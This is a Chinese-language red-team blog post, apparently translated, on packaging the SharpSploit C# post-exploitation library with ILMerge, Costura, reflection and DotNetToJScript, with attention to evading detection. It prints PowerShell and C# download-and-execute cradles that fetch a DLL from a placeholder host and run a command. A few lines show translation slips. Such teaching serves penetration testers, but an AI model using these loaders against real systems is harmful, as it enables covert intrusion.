导语:在渗透测试领域,攻击工具集的选择继续向着以使用C#作为漏洞后期利用的攻击语言的方向发展,我觉得尤其是与使用PowerShell相比,去考虑一些使用C#作为攻击语言有关的操作挑战是非常有用的。
在渗透测试领域,攻击工具集的选择继续 向着以使用C#作为漏洞后期利用的攻击语言的方向 发展,我觉得尤其是与使用PowerShell相比,去考虑一些使用C#作为攻击语言有关的操作挑战是非常有用的。PowerShell为我们在渗透测试中提供了许多操作和便利,这些优势是我们在逐步选择迁移到C#时所没有的。但是,在渗透测试期间,隐身的优先级几乎总是高于便利。话虽如此,但我们总是希望我们的工具集尽可能使用起来灵活方便,同时能保持一个低概率被检测到的范围。
在这篇文章中,我将尝试记录使用C#的一些操作挑战,并提供解决方案来帮助应对这些挑战。本文中的示例将使用SharpSploit,这是我最近开发的.NET漏洞后期利用库(并在我的上一篇文章中介绍过)。但是,我的目标是以适用于任何C#库或项目的方式进行记录。
另外,我将介绍SharpGen,这是我为解决其中一些操作挑战而建立的一个新项目。
操作挑战 – 执行方法
在发布SharpSploit时,我决定将其发布为一个库文件,而不是独立的可执行文件。我反复考虑过这一点,因为我知道它可能会导致一些操作上的痛点,但随着我继续在C#工具集上的开发,我进一步确信这是一个正确的决定。将工具集格式化为库有利于一起使用这些库,并有助于重新获得从PowerShell转向使用C#后丢失的些许灵活性。
但是,实际上作为库发布也增加了你在使用其他大多数C#工具集时不会遇到的操作挑战,那么也许你会问,我该如何使用此DLL?有几种选择?正如我在上一篇文章中所承诺的那样,我将在本文中记录几个方法。
控制台应用程序
要调用SharpSploit最简单,最常用的做法是创建一个新的控制台应用程序,添加对已编译的SharpSploit.dll的引用,然后编写使用SharpSploit的自定义代码,之后进行编译。编译生成的.exe你可以直接从命令行执行。然而,这种方法的有一个需要注意的问题是,在目标系统上存在需要存在SharpSploit.dll才能执行编译生成的 .exe。
编译期间会使用DLL引用将有关.dll文件的元数据的内容嵌入到.exe, 这样, .exe就可以在运行时搜索系统上的DLL了。在渗透测试时,你可以将.exe和SharpSploit.dll复制到目标系统的磁盘上,之后就可以成功执行,但通过Cobalt Strike的 execute-assembly命令等方法是不会成功的,因为该命令不会在目标系统的磁盘上写入.exe或它的磁盘引用。
那么我们如何才能解决这个DLL缺失的难题呢?我记录了四种方法,分别如下:ILMerge,Costura,Reflection,以及DotNetToJScript。
ILMerge
ILMerge是.NET程序集的开源静态链接程序。顾名思义,它可以将多个.NET程序集合并到一个输出程序集中。为了实现这一点,ILMerge实际上通过剥离合并程序集的元数据来修改合并的程序集,并创建一个具有自己的元数据和标识的全新程序集。如果提供给ILMerge的列表中的第一个程序集包含EntryPoint,则EntryPoint将被视为合并程序集的EntryPoint。“EntryPoint”使控制台应用程序成为了控制台应用程序,而不仅仅是库文件。EntryPoint通常是你可能所熟悉的“main”函数。
接下来我将逐步介绍如何使用ILMerge。首先,你将创建一个新的引用SharpSploit的控制台应用程序,并编写使用它的自定义代码:
build该应用程序,会生成一个 .exe,在这个例子中我们用到两个文件分别是SharpSploitDriver.exe和SharpSploit.dll。现在我们可以使用ILMerge将这两个程序集合并为一个单独的SharpSploit.exe。在下面的截图中,ILMerge.exe已经在我的环境变量的路径中了。你还需要确保在合并之前删除任何已生成的 .pdb文件。
生成的SharpSploit.exe是一个自包含的可执行文件,它需要在目标系统上存在SharpSploit.dll文件。ILMerge也可以通过一些配置作为构建过程的一部分进行自动化。如果你选择这种做法,ILMerge在README中记录了如何执行此操作。
程序集的合并中还有一些有趣的电子取证的东西。如果我们在DNSpy中打开SharpSploit.exe:
我们看到SharpSploit实际上并未包含在引用中,但SharpSploit命名空间作为模块嵌入到了SharpSploit.exe程序集中。我们可以在DNSpy中打开SharpSploitDriver.exe进行比较:
我们可以看到在这种情况下,SharpSploit作为了一个引用,但不作为模块。我不确定其中一个或另一个是否是电子取证中的“隐身术”,尽管引用可以通过“ImageLoad”事件(使用Sysmon命名法)检测到。无论哪种方式,我认为了解潜在的电子取证隐身术很重要。
你需要清楚的是,这个过程不仅仅是将文件合并在一起,而且合并了程序集。此过程具有部分破坏性,可能会影响到应用程序的执行方式。例如,如果功能取决于程序集的名称则会受到影响:
Costura
Costura是另一个与ILMerge类似的开源项目。但是,使用的方法略有不同。Costura将DLL引用添加为控制台应用程序的“嵌入式资源”。嵌入式资源通常用于应用程序所需的杂项文件,例如图像,视频或其他文件。
Costura将引用DLL嵌入为嵌入式资源,并向AppDomain的AssemblyResolve事件追加了一个回调,该事件将尝试从应用程序的嵌入式资源中加载程序集!这会影响系统解析应用程序的程序集加载的方式,并允许我们从任意位置(例如应用程序的嵌入式资源)加载程序集。
这个技巧来源于杰弗里里希特发表于2010年的一篇博客文章,在这篇博文中他演示了为AssemblyResolve事件注册回调的过程。
我将逐步介绍如何使用Costura。首先你需要像上次那样创建一个控制台应用程序,添加一个引用SharpSploit.dll,并编写使用SharpSploit的自定义C#代码。你还必须添加一个Costura.Fody引用。通过右键单击References并选择Manage Nuget Packages就可以将其安装为Nuget程序包:
关于Costura有一个“问题”需要注意,最新版本已弃用对.NET Framework v3.5的支持。对于攻击性操作,.NET Framework v3.5通常是你所希望使用的。请务必安装Costura v1.6.2以使用.NET Framework v3.5程序集。安装ILMerge后,你将看到FodyWeavers.xml已创建文件。这是Costura的配置文件,默认情况下会将所有引用的程序集嵌入为资源。现在,当我们重新编译时,它会生成一个自包含的SharpSploitDriver.exe可执行文件:
Costura生成的二进制文件也有一些有趣的电子取证的东西。在DNSpy中打开SharpSploitDriver.exe:
你会看到,SharpSploitDriver.exe不仅引用了SharpSploit,还包括了Costura,以及一些嵌入式的引用:costura.sharpsploit.dll.compressed,costura.sharpsploit.pdb,和costura.system.management.automation.dll,还有一个Costura模块。
那么ILMerge和Costura比较起来有什么区别呢?你会发现ILMerge的作者之前提到的博客文章中有一个有趣的评论:
尽管有这样的评论,但我认为两种解决方案都有其用途。事实上,出于程序隐身术和电子取证的原因,我可能会推荐使用ILMerge而不是Costura,除非ILMerge影响到了你的特定应用程序的执行方式。对于SharpSploit,我还没有发现使用了ILMerge以后出现过什么问题。
反射
反射可用于执行不包含EntryPoint(即DLL)的.NET程序集。System.Reflection命名空间可被用于装载.NET组件和调用方法,等等。因此我们可以使用.NET反射来加载SharpSploit程序集并调用方法。
使用反射的一种方法是使用PowerShell。例如,我们可以像下面这样调用SharpSploit方法:
PS > [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("SharpSploit.dll").GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")) desktop-f9dq76g\cobbr
或者我们可以从指定的URL加载它,然后加载程序集并使用反射调用方法:
PS > [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/SharpSploit.dll").GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")) desktop-f9dq76g\cobbr
当然,我们能利用PowerShell所做的任何事情,我们同样可以利用C#做到:
public class Program { public static void Main() { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://example.com/SharpSploit.dll")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")); } }
在这个示例中,你将需要记住要将程序编译为控制台应用程序。但是,你不必担心需要添加任何引用,因为SharpSploit是通过反射加载的,而不是通过典型的程序集解析过程加载的。值得注意的是,Costura的“AssemblyResolve”技术本身也使用了反射,它利用的是System.Reflection.Assembly.Load()方法。
反射是一个有趣的执行向量,可以作为一个有用的“下载者”来节省可执行文件的大小,避免引用并发症。有关反射的更多信息,我建议你查看微软的官方文档。
DotNetToJScript
DotNetToJScript是由James Forshaw编写的一个开源工具,它可以创建加载给定的.NET程序集的JScript或VBScript文件。但是,有一些限制因素使得这种方法不太适用于SharpSploit。但它仍然是有可能的,只是需要一些定制化的工作!
你会注意到的第一件事是DotNetToJScript与较大的程序集不兼容,默认情况下,SharpSploit就是一个较大的程序集:
由于嵌入了Mimikatz二进制文件导致SharpSploit体积变得很大。幸运的是,如果你不需要它们,就可以很容易选择不在编译时嵌入这些二进制文件。只需注释掉SharpSploit.csproj文件中的几行代码,就像下面这样:
<ItemGroup> <!-- <EmbeddedResource Include="Resources\powerkatz_x86.dll" /> --> <!-- <EmbeddedResource Include="Resources\powerkatz_x64.dll" /> --> </ItemGroup>
进行此更改后,你只需重新编译SharpSploit并将新的SharpSploit.dll文件复制到DotNetToJScript文件夹即可。
接下来你会发现DotNetToJScript不适用于静态类或静态方法:
SharpSploit的大多数有用的方法都是静态的,包括ShellExecute。要在DotNetToJScript中使用这些方法,你必须编辑SharpSploit中的方法,通过删除方法ShellExecute方法上的static修饰器,重新编译并将新的SharpSploit.dll文件复制到DotNetToJScript文件夹中。最后,应该可以成功调用:
这种方法对于一次性执行或启动代理比较有用,不过这种方法要求我们将JScript或VBScript文件放到目标系统上的磁盘上,如果你在系统上已有代理,就没必要使用这种方法了。
四种方法对比结论
到目前为止,我已经记录了创建可以调用SharpSploit方法的自包含可执行文件和脚本的四种可选的方法:Costura,ILMerge,Reflection和通过DotNetToJScript的JScript / VBScript。让我们快速对比一下这些方法以及它们何时使用比较合适:
· DotNetToJScript – JScript / VBScript方法在启动代理时最有用,这当然不是SharpSploit的目标。我想SharpSploit几乎完全可以用于我们已经在系统上有代理的情况。在这种情况下,我们不希望将JScript或VBScript文件写入到磁盘,因此我们大多数时候都会忽略此方法。但是,我想为那些对启动代理感兴趣的人记录一下这个方法。
· Reflection — 反射这种方法很有趣,在代理启动或“AssemblyResolve”的场景(即Costura)中最有用。 使用基于反射实现的.NET下载者是启动代理的良好载体。 我们当然可以继续使用这些下载者来执行我们想要执行的任何一个漏洞后期利用模块,但这也会产生一些额外的,我们所不需要的网络流量,不过这些我们都可以避免。
· Costura / ILMerge – 最后两种方法是Costura和ILMerge,在我看来这也是很有用的两个方法。这些方法都创建了自包含的可执行文件,可以与Cobalt Strike的execute-assembly命令和类似的方法一起使用。我之前已经对比过这些方法,结论是ILMerge 通常(但不总是)是正确的选择。
至少到目前为止我所描述的Costura 和 ILMerge这两种方法共同的缺点是使用起来不够方便。你不仅需要编译SharpSploit库,还必须创建一个引用该库的控制台应用程序,并实现ILMerge或Costura配置,然后进行编译。
起初我以为,这似乎不需要太多额外的工作要求。但是,每次要调用SharpSploit的任意方法时,都需要执行所有这些操作。作为渗透测试人员,你一定希望能够快速调用连续的SharpSploit方法,这对测试项目的操作效率来说是一个真正的障碍。
那么我们该如何才能解决操作挑战中的方便问题呢?且听下回分解。